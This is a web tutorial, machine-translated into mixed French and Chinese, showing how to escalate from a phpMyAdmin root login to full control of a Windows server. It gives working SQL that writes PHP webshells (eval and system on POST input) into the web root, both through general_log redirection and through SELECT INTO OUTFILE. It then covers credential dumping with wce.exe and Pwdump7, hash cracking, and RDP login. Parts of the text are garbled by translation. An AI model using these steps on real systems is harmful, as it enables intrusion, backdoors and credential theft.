Maison >base de données >phpMonAdmin >Choses à propos de l'élévation des privilèges de phpMyadmin

Choses à propos de l'élévation des privilèges de phpMyadmin

藏色散人
藏色散人avant
2021-01-11 15:04:442744parcourir

La colonne tutorielle suivante de phpmyadmin vous présentera les choses concernant l'élévation des privilèges de phpMyadmin. J'espère qu'elle sera utile aux amis qui en ont besoin !

Choses à propos de l'élévation des privilèges de phpMyadmin

Introduction : J'ai appris le mot de passe du compte phpMyadmin lors du test d'intrusion Comment élever les privilèges ? Continuez à lire, aujourd'hui je vais vous parler de l'élévation des privilèges de phpMyadmin.

Définition 0×00

phpMyAdmin est un outil de gestion de base de données MySQL basé sur PHP et structuré en mode Web-Base sur l'hébergeur du site, permettant aux administrateurs de Une interface web peut être utilisé pour gérer des bases de données MySQL.

0×01 Préparation de l'environnement

目标: Windows Server 2003 Enterprise x64 Edition    192.168.17.137攻击机: window7 192.168.17.132Php:5.45Mysql: 5.5.53Apache: 2.4

0×02 Démarrage de l'infiltration

Nous avons traversé des mots de passe faibles, des explosions et fuites de répertoires Nous avons appris par d'autres canaux que le mot de passe du compte PhpMyadmin est root root. Ensuite, nous augmenterons les droits via phpMyadmin, aussi près que possible de la réalité, et discuterons d'autres idées.

a Collecter des informations utiles

Choses à propos de lélévation des privilèges de phpMyadminChoses à propos de lélévation des privilèges de phpMyadmin

Comme le montre l'image ci-dessus, nous pouvons obtenir les informations utiles suivantes.

  • 1. Le système d'exploitation est Windows Server 2003 x86
  • 2 Le serveur est Apache 2.4.32
  • 3. :phpStudyPHPTutorialWWW
  • La version 4.PHP est 5.45
  • La version 5.mysql est 5.5.53

b Détecter les conditions d'insertion

ci-dessus Nous avons appris que le chemin par défaut du site Web est E:phpstudyPHPTutorialWWW. À ce stade, nous souhaitons absolument insérer un fichier de porte dérobée ou exporter un shell. Si nous devons utiliser l'une des deux idées ci-dessus, nous devons remplir un prérequis. La valeur correspondant à "secure_file_priv" ne peut pas être vide et doit être le chemin du site Web par défaut, nous devons donc vérifier la valeur de "secure_file_priv" au préalable. .

phpMyadmin exécute la commande suivante :

AFFICHER LES VARIABLES COMME « secure_file_priv » ;

结果如图所示:

Choses à propos de lélévation des privilèges de phpMyadmin

从上图得知值为空,如果我们这时导入一句话,肯定会失败的,不信啊,那我们试试。

Choses à propos de lélévation des privilèges de phpMyadmin

报错The MySQL server is running with the –secure-file-priv option so it cannot execute this statement,这是因为mysql对通过文件导入导出作了限制,默认不允许。默认value值为null,则为禁止,如果有文件夹目录,则只允许改目录下文件(测试子目录也不行)。我们思考一下看看能否设置其的路径为我们的默认网站路径,这样我们就可以导入一句话后门了。那我们试试吧。

Choses à propos de lélévation des privilèges de phpMyadmin

从图得知这个变量是一个只读变量无法动态更改,那应该是只能从配置文件中更改了。到这里发现陷入了一个胡同,那常规方式不行,我们可以去使用一些骚思路,利用log日志文件插入一句话。

c 转换思路

我们首先需要检测的是MySQL全局变量(general_log、general_log file)的值。

  1. general log 指的是日志保存状态,一共有两个值(ON/OFF)ON代表开启 OFF代表关闭。
  2. general log file 指的是日志的保存路径。

Choses à propos de lélévation des privilèges de phpMyadmin

从图得知general_log默认是关闭的,log日志存放的位置是E:\phpStudy\PHPTutorial\MySQL\data\。

首先我们来理解一下开启general_log 的作用,开启它可以记录用户输入的每条命令,会把其保存在E:\phpstudy\PHPTutorial\MySQL\data\下的一个log文件中,其实就是我们常说的日志文件。好,我们的利用的思路是开启general_log之后把general_log_file的值修改为我们网站默认路径下一个自定义的php文件中,然后我们通过log日志进行写入一句话后门到上面去,然后再进一步利用。

具体命令是:

set global general_log = "ON";SET global general_log_file='E:/phpStudy/PHPTutorial/WWW/infos.php';

Choses à propos de lélévation des privilèges de phpMyadmin

Choses à propos de lélévation des privilèges de phpMyadmin


Ensuite, nous pouvons voir que le fichier pseudo-journal infos.php que nous avons généré se trouve dans le chemin racine du site Web.

Choses à propos de lélévation des privilèges de phpMyadmin

Ensuite, nous devons insérer notre porte dérobée d'une phrase.

sélectionnez '';

Choses à propos de lélévation des privilèges de phpMyadmin

Nous pouvons essayer Utilisez un couteau de cuisine pour vous connecter et la connexion est réussie.

Choses à propos de lélévation des privilèges de phpMyadmin

d Obtenir le mot de passe administrateur

0×00 Obtenir directement le texte brut

Nous téléchargeons wce.exe pour obtenir le mot de passe en texte clair. Avec beaucoup de chance, j'ai obtenu directement le texte en clair (un mot de passe mélangé à 11 lettres et chiffres). Si vous ne parvenez pas à obtenir le texte brut directement, vous devez passer à la deuxième étape pour obtenir la valeur de hachage, puis la déchiffrer.

Choses à propos de lélévation des privilèges de phpMyadmin

0×01 Obtenez la valeur de hachage

Téléchargez Pwdump7.exe pour obtenir la valeur de hachage et enregistrez-la dans le mot de passe. fichier txt. Pour obtenir la valeur de hachage, vous pouvez choisir de l'exécuter en ligne sur http://www.objectif-securite.ch/en/ophcrack.php. En cas d'échec, utilisez Ophcrack pour importer la table arc-en-ciel et l'exécuter.

Choses à propos de lélévation des privilèges de phpMyadmin

Choses à propos de lélévation des privilèges de phpMyadmin


e Vérifiez si 3389 est activé

Entrez "netstat -an | recherchez "3389" ou "netstat -an " directement dans le terminal du hacheur.

Choses à propos de lélévation des privilèges de phpMyadmin

J'ai constaté que 3389 n'est pas ouvert, mais 3390 est ouvert, essayons de nous connecter

f Connectez-vous au serveur

Exécuter. mstsc pour ouvrir le bureau à distance 🎜>

Choses à propos de lélévation des privilèges de phpMyadmin

Choses à propos de lélévation des privilèges de phpMyadmin


Entrez le numéro de compte et le mot de passe obtenus ci-dessus et connectez-vous. avec succès


. Choses à propos de lélévation des privilèges de phpMyadmin

Les traces doivent être claires au final, mais je ne l'écrirai pas ici Il y a trop de choses à écrire

0×03. Extension

Ce qui précède montre le cas où la valeur secure_file_priv est vide, alors que devons-nous faire si la valeur secure_file_priv n'est pas vide

a Configurez le fichier my.ini ? (ne correspond pas au chemin racine du site Web)

Ouvrez le fichier de configuration mysq my.ini, définissez la valeur de secure_file_priv, puis redémarrez mysql

secure_file_priv =. "E:/phpStudy/PHPTutorial/MYSQL/"

Choses à propos de lélévation des privilèges de phpMyadmin

Choses à propos de lélévation des privilèges de phpMyadmin


尝试改变值,发现只是可读,不能写,那种情况无法写入我们的一句话,因为其限制了导出路径,无法把一句话写入之后导出到我们的网站根目录。

Choses à propos de lélévation des privilèges de phpMyadmin

Choses à propos de lélévation des privilèges de phpMyadmin



b 配置my.ini文件(对应网站根路径)

打开mysq的配置文件my.ini,对secure_file_priv的值进行设置,然后重启mysql。

secure_file_priv =  ”E:/phpStudy/PHPTutorial/WWW/”

Choses à propos de lélévation des privilèges de phpMyadmin

然后我们尝试插入一句话后门,成功插入。

Choses à propos de lélévation des privilèges de phpMyadmin

二话不说菜刀连接。

Choses à propos de lélévation des privilèges de phpMyadmin

Choses à propos de lélévation des privilèges de phpMyadmin


当然一句话还可以这样插入。

CREATE TABLE `mysql`.`informationes` (`inform` TEXT NOT NULL);INSERT INTO `mysql`.`informationes` (`inform`) VALUES ('<?php  @eval($_POST[pass]);?>');SELECT `inform` from `mysql`.`informationes` into outfile 'e:/phpStudy/PHPTutorial/WWW/infos.php';DROP table if exists `mysql`.`informationes`;(注意: c:/phpStudy/PHPTutorial/WWW/为网站的绝对路径)

c 导出具有命令权限的Shell的php文件

select ‘\’;system($_POST[\'yumu\']);echo \’\’;?>’ into outfile ‘c:/phpStudy/PHPTutorial/WWW/test.php’;

Choses à propos de lélévation des privilèges de phpMyadmin

Choses à propos de lélévation des privilèges de phpMyadmin

Résumé 0×04

L'environnement dans cet article est autre que le WAF . Ils sont aussi proches que possible de l'environnement réel, simulant l'environnement réel pour que chacun puisse analyser et expliquer les idées. J'espère que tout le monde y gagnera.

Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!

Déclaration:
Cet article est reproduit dans:. en cas de violation, veuillez contacter admin@php.cn Supprimer